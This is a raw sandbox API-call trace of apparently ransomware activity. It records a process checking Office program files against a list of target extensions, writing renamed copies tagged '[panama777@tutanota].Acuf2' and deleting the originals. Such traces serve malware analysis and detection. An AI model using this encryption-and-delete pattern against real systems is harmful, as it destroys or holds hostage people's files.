	[0273.986] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.986] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0273.987] GetLastError () returned 0x0
	[0273.987] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x7180, lpOverlapped=0x0) returned 1
	[0274.090] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x7190, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x7190, lpOverlapped=0x0) returned 1
	[0274.091] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.091] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0274.091] SetEndOfFile (hFile=0x360) returned 1
	[0274.325] CloseHandle (hObject=0x360) returned 1
	[0274.338] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.338] SetEndOfFile (hFile=0x218) returned 1
	[0274.368] CloseHandle (hObject=0x218) returned 1
	[0274.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 1
	[0274.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57
	[0274.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57
	[0274.369] lstrlenW (lpString=".doc") returned 4
	[0274.369] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0274.369] lstrlenW (lpString=".docx") returned 5
	[0274.369] lstrcmpiW (lpString1=".docx", lpString2="L.SAM") returned -1
	[0274.369] lstrlenW (lpString=".pdf") returned 4
	[0274.369] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0274.369] lstrlenW (lpString=".xls") returned 4
	[0274.369] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0274.369] lstrlenW (lpString=".xlsx") returned 5
	[0274.369] lstrcmpiW (lpString1=".xlsx", lpString2="L.SAM") returned -1
	[0274.369] lstrlenW (lpString=".ppt") returned 4
	[0274.370] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0274.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57
	[0274.370] lstrlenW (lpString=".zip") returned 4
	[0274.370] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0274.370] lstrlenW (lpString=".rar") returned 4
	[0274.370] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0274.370] lstrlenW (lpString=".bz2") returned 4
	[0274.370] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0274.370] lstrlenW (lpString=".7z") returned 3
	[0274.370] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0274.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57
	[0274.370] lstrlenW (lpString=".dbf") returned 4
	[0274.370] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0274.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57
	[0274.370] lstrlenW (lpString=".1cd") returned 4
	[0274.370] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0274.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM") returned 57
	[0274.370] lstrlenW (lpString=".jpg") returned 4
	[0274.370] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0274.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0274.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52
	[0274.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52
	[0274.371] lstrlenW (lpString=".doc") returned 4
	[0274.371] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0274.371] lstrlenW (lpString=".docx") returned 5
	[0274.371] lstrcmpiW (lpString1=".docx", lpString2="L.EXE") returned -1
	[0274.371] lstrlenW (lpString=".pdf") returned 4
	[0274.371] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0274.371] lstrlenW (lpString=".xls") returned 4
	[0274.371] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0274.371] lstrlenW (lpString=".xlsx") returned 5
	[0274.371] lstrcmpiW (lpString1=".xlsx", lpString2="L.EXE") returned -1
	[0274.371] lstrlenW (lpString=".ppt") returned 4
	[0274.371] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0274.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52
	[0274.371] lstrlenW (lpString=".zip") returned 4
	[0274.371] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0274.371] lstrlenW (lpString=".rar") returned 4
	[0274.371] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0274.371] lstrlenW (lpString=".bz2") returned 4
	[0274.371] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0274.371] lstrlenW (lpString=".7z") returned 3
	[0274.371] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0274.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52
	[0274.371] lstrlenW (lpString=".dbf") returned 4
	[0274.371] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0274.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52
	[0274.372] lstrlenW (lpString=".1cd") returned 4
	[0274.372] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0274.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE") returned 52
	[0274.372] lstrlenW (lpString=".jpg") returned 4
	[0274.372] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0274.372] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.372] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.373] GetLastError () returned 0x0
	[0274.373] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x4ac, lpOverlapped=0x0) returned 1
	[0274.375] WriteFile (in: hFile=0x28c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x4b0, lpOverlapped=0x0) returned 1
	[0274.375] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.375] WriteFile (in: hFile=0x28c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0274.376] SetEndOfFile (hFile=0x28c) returned 1
	[0274.376] CloseHandle (hObject=0x28c) returned 1
	[0274.376] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.376] SetEndOfFile (hFile=0x218) returned 1
	[0274.378] CloseHandle (hObject=0x218) returned 1
	[0274.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 1
	[0274.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61
	[0274.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61
	[0274.380] lstrlenW (lpString=".doc") returned 4
	[0274.380] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0274.380] lstrlenW (lpString=".docx") returned 5
	[0274.380] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0274.380] lstrlenW (lpString=".pdf") returned 4
	[0274.380] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0274.380] lstrlenW (lpString=".xls") returned 4
	[0274.380] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0274.380] lstrlenW (lpString=".xlsx") returned 5
	[0274.380] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0274.380] lstrlenW (lpString=".ppt") returned 4
	[0274.380] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0274.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61
	[0274.380] lstrlenW (lpString=".zip") returned 4
	[0274.380] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0274.380] lstrlenW (lpString=".rar") returned 4
	[0274.380] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0274.380] lstrlenW (lpString=".bz2") returned 4
	[0274.381] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0274.381] lstrlenW (lpString=".7z") returned 3
	[0274.381] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0274.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61
	[0274.381] lstrlenW (lpString=".dbf") returned 4
	[0274.381] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0274.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61
	[0274.381] lstrlenW (lpString=".1cd") returned 4
	[0274.381] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0274.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned 61
	[0274.381] lstrlenW (lpString=".jpg") returned 4
	[0274.381] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0274.382] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=24994656) returned 1
	[0274.382] CloseHandle (hObject=0x218) returned 1
	[0274.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe")) returned 0x20
	[0274.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\excelcnv.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0274.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55
	[0274.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55
	[0274.382] lstrlenW (lpString=".doc") returned 4
	[0274.382] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0274.382] lstrlenW (lpString=".docx") returned 5
	[0274.382] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1
	[0274.382] lstrlenW (lpString=".pdf") returned 4
	[0274.382] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0274.382] lstrlenW (lpString=".xls") returned 4
	[0274.382] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0274.382] lstrlenW (lpString=".xlsx") returned 5
	[0274.383] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1
	[0274.383] lstrlenW (lpString=".ppt") returned 4
	[0274.383] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0274.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55
	[0274.383] lstrlenW (lpString=".zip") returned 4
	[0274.383] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0274.383] lstrlenW (lpString=".rar") returned 4
	[0274.383] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0274.383] lstrlenW (lpString=".bz2") returned 4
	[0274.383] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0274.383] lstrlenW (lpString=".7z") returned 3
	[0274.383] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0274.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55
	[0274.383] lstrlenW (lpString=".dbf") returned 4
	[0274.383] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0274.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55
	[0274.383] lstrlenW (lpString=".1cd") returned 4
	[0274.383] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0274.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\excelcnv.exe") returned 55
	[0274.383] lstrlenW (lpString=".jpg") returned 4
	[0274.383] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0274.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0274.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55
	[0274.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55
	[0274.387] lstrlenW (lpString=".doc") returned 4
	[0274.387] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0274.387] lstrlenW (lpString=".docx") returned 5
	[0274.387] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1
	[0274.387] lstrlenW (lpString=".pdf") returned 4
	[0274.387] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0274.387] lstrlenW (lpString=".xls") returned 4
	[0274.387] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0274.387] lstrlenW (lpString=".xlsx") returned 5
	[0274.387] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1
	[0274.387] lstrlenW (lpString=".ppt") returned 4
	[0274.387] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0274.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55
	[0274.388] lstrlenW (lpString=".zip") returned 4
	[0274.388] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0274.388] lstrlenW (lpString=".rar") returned 4
	[0274.388] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0274.388] lstrlenW (lpString=".bz2") returned 4
	[0274.388] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0274.388] lstrlenW (lpString=".7z") returned 3
	[0274.388] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0274.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55
	[0274.388] lstrlenW (lpString=".dbf") returned 4
	[0274.388] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0274.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55
	[0274.388] lstrlenW (lpString=".1cd") returned 4
	[0274.388] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0274.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55
	[0274.388] lstrlenW (lpString=".jpg") returned 4
	[0274.388] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0274.393] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.393] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0275.253] GetLastError () returned 0x0
	[0275.253] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.256] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.257] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.257] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.257] SetEndOfFile (hFile=0x360) returned 1
	[0275.257] CloseHandle (hObject=0x360) returned 1
	[0275.257] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.257] SetEndOfFile (hFile=0x218) returned 1
	[0275.380] CloseHandle (hObject=0x218) returned 1
	[0275.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 1
	[0275.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66
	[0275.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66
	[0275.381] lstrlenW (lpString=".doc") returned 4
	[0275.381] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.381] lstrlenW (lpString=".docx") returned 5
	[0275.381] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1
	[0275.381] lstrlenW (lpString=".pdf") returned 4
	[0275.381] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.381] lstrlenW (lpString=".xls") returned 4
	[0275.381] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.381] lstrlenW (lpString=".xlsx") returned 5
	[0275.382] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1
	[0275.382] lstrlenW (lpString=".ppt") returned 4
	[0275.382] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66
	[0275.382] lstrlenW (lpString=".zip") returned 4
	[0275.382] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.382] lstrlenW (lpString=".rar") returned 4
	[0275.382] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.382] lstrlenW (lpString=".bz2") returned 4
	[0275.382] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.382] lstrlenW (lpString=".7z") returned 3
	[0275.382] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66
	[0275.382] lstrlenW (lpString=".dbf") returned 4
	[0275.382] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66
	[0275.382] lstrlenW (lpString=".1cd") returned 4
	[0275.382] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66
	[0275.382] lstrlenW (lpString=".jpg") returned 4
	[0275.382] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.383] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2998) returned 1
	[0275.383] CloseHandle (hObject=0x218) returned 1
	[0275.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 0x20
	[0275.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0275.383] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.383] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214
	[0275.383] GetLastError () returned 0x0
	[0275.383] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0275.396] WriteFile (in: hFile=0x214, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0275.397] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.397] WriteFile (in: hFile=0x214, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.397] SetEndOfFile (hFile=0x214) returned 1
	[0275.397] CloseHandle (hObject=0x214) returned 1
	[0275.397] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.397] SetEndOfFile (hFile=0x218) returned 1
	[0275.399] CloseHandle (hObject=0x218) returned 1
	[0275.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 1
	[0275.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66
	[0275.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66
